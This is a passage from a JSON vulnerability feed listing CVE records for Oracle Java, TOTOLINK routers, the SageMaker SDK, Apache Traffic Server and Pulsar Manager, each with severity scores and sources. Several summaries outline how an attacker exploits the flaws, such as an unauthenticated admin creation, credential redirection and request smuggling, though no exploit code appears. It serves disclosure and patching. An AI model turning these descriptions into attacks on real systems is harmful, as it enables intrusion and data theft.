Oracle Java SE (component: JSSE).  Supported versions that are affected are Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1; Oracle GraalVM for JDK: 17.0.21 and  21.0.13; Oracle GraalVM Enterprise Edition: 21.3.20. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T22:16:50.243Z","updatedAt":"2026-10-24T20:16:30.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle","Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91403","asOf":"2026-10-24T20:16:30.970Z"},"epss":{"probability":0.00314,"percentile":0.2408,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91403&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91403","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91403","type":"primary","publishedAt":"2026-10-21T22:16:50.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91403&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91403, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114383","cveId":"CVE-2026-114383","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in TOTOLINK EX200 5.2.3c.7200. This impacts the function setWiFiAclAddConfig of the file /cgi-bin/cstecgi.cgi of the component wireless.so.","summary":"A weakness has been identified in TOTOLINK EX200 5.2.3c.7200. This impacts the function setWiFiAclAddConfig of the file /cgi-bin/cstecgi.cgi of the component wireless.so. This manipulation of the argument macAddress causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.","detail":"A weakness has been identified in TOTOLINK EX200 5.2.3c.7200. This impacts the function setWiFiAclAddConfig of the file /cgi-bin/cstecgi.cgi of the component wireless.so. This manipulation of the argument macAddress causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T22:16:49.077Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114383","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00653,"percentile":0.51004,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114383&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114383","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114383","type":"primary","publishedAt":"2026-10-21T22:16:49.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114383&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114383, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114382","cveId":"CVE-2026-114382","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in TOTOLINK EX200 5.2.3c.7200. This affects the function setStaticDhcpConfig of the file /cgi-bin/cstecgi.cgi of the component lan.so.","summary":"A security flaw has been discovered in TOTOLINK EX200 5.2.3c.7200. This affects the function setStaticDhcpConfig of the file /cgi-bin/cstecgi.cgi of the component lan.so. The manipulation of the argument Comment results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.","detail":"A security flaw has been discovered in TOTOLINK EX200 5.2.3c.7200. This affects the function setStaticDhcpConfig of the file /cgi-bin/cstecgi.cgi of the component lan.so. The manipulation of the argument Comment results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T22:16:48.910Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114382","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00667,"percentile":0.51578,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114382&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114382","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114382","type":"primary","publishedAt":"2026-10-21T22:16:48.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114382&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114382, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112408","cveId":"CVE-2026-112408","aliases":[],"kind":"vulnerability","title":"Missing verification of source of a communication channel in the default_bucket() function in Amazon SageMaker Python SDK V3 before 3.10.0 and V2 before 2.257.3 might allow remote...","summary":"Missing verification of source of a communication channel in the default_bucket() function in Amazon SageMaker Python SDK V3 before 3.10.0 and V2 before 2.257.3 might allow remote actors to achieve code execution in the target SageMaker execution environment and obtain IAM credentials via pre-creation of a predictably named S3 bucket that the SDK uses without ownership validation.\n\n\n\nTo remediate this issue, users should upgrade to Amazon SageMaker Python SDK 3.10.0 (V3) or 2.257.3 (V2).","detail":"Missing verification of source of a communication channel in the default_bucket() function in Amazon SageMaker Python SDK V3 before 3.10.0 and V2 before 2.257.3 might allow remote actors to achieve code execution in the target SageMaker execution environment and obtain IAM credentials via pre-creation of a predictably named S3 bucket that the SDK uses without ownership validation.\n\n\n\nTo remediate this issue, users should upgrade to Amazon SageMaker Python SDK 3.10.0 (V3) or 2.257.3 (V2).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T20:17:23.877Z","updatedAt":"2026-10-22T17:21:57.293Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112408","asOf":"2026-10-22T17:21:57.293Z"},"epss":{"probability":0.00743,"percentile":0.54428,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112408&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112408","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112408","type":"primary","publishedAt":"2026-10-21T20:17:23.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112408&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112408, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111811","cveId":"CVE-2026-111811","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server's experimental tsmemcache plugin allows unauthenticated network read, write, and deletion of the shared proxy cache.","summary":"Apache Traffic Server's experimental tsmemcache plugin allows unauthenticated network read, write, and deletion of the shared proxy cache.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server's experimental tsmemcache plugin allows unauthenticated network read, write, and deletion of the shared proxy cache.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T20:17:22.920Z","updatedAt":"2026-10-26T10:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111811","asOf":"2026-10-26T10:10:00.140Z"},"epss":{"probability":0.00356,"percentile":0.29065,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111811&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111811","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111811","type":"primary","publishedAt":"2026-10-21T20:17:22.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111811&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111811, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111816","cveId":"CVE-2026-111816","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server forwarded a malformed 302 response that should have been rejected as a parse error, because the Transfer-Encoding: chunked carve-out bypassed the rejection...","summary":"Apache Traffic Server forwarded a malformed 302 response that should have been rejected as a parse error, because the Transfer-Encoding: chunked carve-out bypassed the rejection path. A response that two peers can read differently is then stored and served, allowing cache poisoning and response-framing desync.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server forwarded a malformed 302 response that should have been rejected as a parse error, because the Transfer-Encoding: chunked carve-out bypassed the rejection path. A response that two peers can read differently is then stored and served, allowing cache poisoning and response-framing desync.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:59.330Z","updatedAt":"2026-10-26T10:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111816","asOf":"2026-10-26T10:10:00.140Z"},"epss":{"probability":0.00308,"percentile":0.23447,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111816&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111816","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111816","type":"primary","publishedAt":"2026-10-21T19:16:59.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111816&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111816, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111813","cveId":"CVE-2026-111813","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server's experimental magick plugin lets an unauthenticated client control ImageMagick convert arguments in its default (unsigned) configuration.","summary":"Apache Traffic Server's experimental magick plugin lets an unauthenticated client control ImageMagick convert arguments in its default (unsigned) configuration.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.1 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server's experimental magick plugin lets an unauthenticated client control ImageMagick convert arguments in its default (unsigned) configuration.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.1 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:59.167Z","updatedAt":"2026-10-26T10:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111813","asOf":"2026-10-26T10:10:00.140Z"},"epss":{"probability":0.00489,"percentile":0.41776,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111813&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111813","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111813","type":"primary","publishedAt":"2026-10-21T19:16:59.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111813&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111813, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105944","cveId":"CVE-2026-105944","aliases":[],"kind":"vulnerability","title":"Apache Pulsar Manager is a web console for administering Apache Pulsar clusters.","summary":"Apache Pulsar Manager is a web console for administering Apache Pulsar clusters. It has its own user accounts and login, and it can be configured with an HTTP authentication credential, such as a token, that it uses to call the Pulsar admin API on behalf of its users. Pulsar Manager has the following security issues:\n\n- The operation for creating the initial administrator (superuser) account is available without authentication, and it remains available after the instance has been initialized. Anyone who can reach Pulsar Manager can create an additional administrator account at any time and log in with it. This issue affects versions 0.3.0 and later.\n- Requests to the Pulsar admin API that Pulsar Manager proxies to the configured Pulsar cluster are not subject to Pulsar Manager's authentication. Version 0.2.0 checks the caller's permissions for some of these requests, but not for all of them. An unauthenticated user can therefore use Pulsar Manager to send requests to the Pulsar admin API, which the cluster processes with the credential configured in Pulsar Manager.\n- The destination of a proxied request can be chosen by the requester, and Pulsar Manager attaches its configured Pulsar admin credential to the request. An unauthenticated user can make Pulsar Manager send this credential to a host of the user's choosing, and the credential can then be used directly against the Pulsar cluster.\n- In versions 0.3.0 and later, Pulsar Manager does not distinguish between privilege levels of its accounts. Every account, including one created through the first issue, effectively has full administrative privileges in Pulsar Manager.\n\nThe impact depends on the version and the deployment. In versions 0.3.0 and later, any user who can reach Pulsar Manager over the network can take full control of Pulsar Manager. In all versions, when Pulsar Manager is configured with an HTTP authentication credential for a Pulsar cluster, any user who can reach Pulsar Manager can perform the Pulsar admin operations that this credential permits and can obtain the credential itself. When Pulsar Manager is configured with the token signing key of a Pulsar cluster, an administrator of Pulsar Manag","detail":"Apache Pulsar Manager is a web console for administering Apache Pulsar clusters. It has its own user accounts and login, and it can be configured with an HTTP authentication credential, such as a token, that it uses to call the Pulsar admin API on behalf of its users. Pulsar Manager has the following security issues:\n\n- The operation for creating the initial administrator (superuser) account is available without authentication, and it remains available after the instance has been initialized. Anyone who can reach Pulsar Manager can create an additional administrator account at any time and log in with it. This issue affects versions 0.3.0 and later.\n- Requests to the Pulsar admin API that Pulsar Manager proxies to the configured Pulsar cluster are not subject to Pulsar Manager's authentication. Version 0.2.0 checks the caller's permissions for some of these requests, but not for all of them. An unauthenticated user can therefore use Pulsar Manager to send requests to the Pulsar admin API, which the cluster processes with the credential configured in Pulsar Manager.\n- The destination of a proxied request can be chosen by the requester, and Pulsar Manager attaches its configured Pulsar admin credential to the request. An unauthenticated user can make Pulsar Manager send this credential to a host of the user's choosing, and the credential can then be used directly against the Pulsar cluster.\n- In versions 0.3.0 and later, Pulsar Manager does not distinguish between privilege levels of its accounts. Every account, including one created through the first issue, effectively has full administrative privileges in Pulsar Manager.\n\nThe impact depends on the version and the deployment. In versions 0.3.0 and later, any user who can reach Pulsar Manager over the network can take full control of Pulsar Manager. In all versions, when Pulsar Manager is configured with an HTTP authentication credential for a Pulsar cluster, any user who can reach Pulsar Manager can perform the Pulsar admin operations that this credential permits and can obtain the credential itself. When Pulsar Manager is configured with the token signing key of a Pulsar cluster, an administrator of Pulsar Manager can create tokens for the cluster.\n\nApache Pulsar Manager is no longer maintained and is completely unsupported. The Apache Pulsar PMC has retired it. There are no supported versions, and no further releases, fixes or security updates will be made for any version. These issues will not be fixed.\n\nUsing Pulsar Manager is not recommended. Users should stop using Pulsar Manager, remove existing deployments, and move to one of the alternatives described in the Administration UI documentation (https://pulsar.apache.org/docs/administration-ui). Users who have exposed Pulsar Manager configured with a Pulsar credential or token signing key should also consider replacing that credential or key.\n\nUntil a deployment is removed, users should not expose Pulsar Manager to untrusted networks, and should restrict network access to it to trusted administrators.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:57.437Z","updatedAt":"2026-10-23T22:16:52.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105944","asOf":"2026-10-23T22:16:52.867Z"},"epss":{"probability":0.00703,"percentile":0.53013,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105944&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105944","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105944","type":"primary","publishedAt":"2026-10-21T19:16:57.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105944&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105944, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-31699","cveId":"CVE-2025-31699","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server can return an origin connection to the shared pool while the origin is still waiting on a request body the client declared but never fully sent, including...","summary":"Apache Traffic Server can return an origin connection to the shared pool while the origin is still waiting on a request body the client declared but never fully sent, including when the client used Expect: 100-continue. The origin then reads a later request on that connection as leftover body data, which lets an attacker smuggle requests past ATS access controls, disrupt other users' requests, or poison the cache.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server can return an origin connection to the shared pool while the origin is still waiting on a request body the client declared but never fully sent, including when the client used Expect: 100-continue. The origin then reads a later request on that connection as leftover body data, which lets an attacker smuggle requests past ATS access controls, disrupt other users' requests, or poison the cache.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 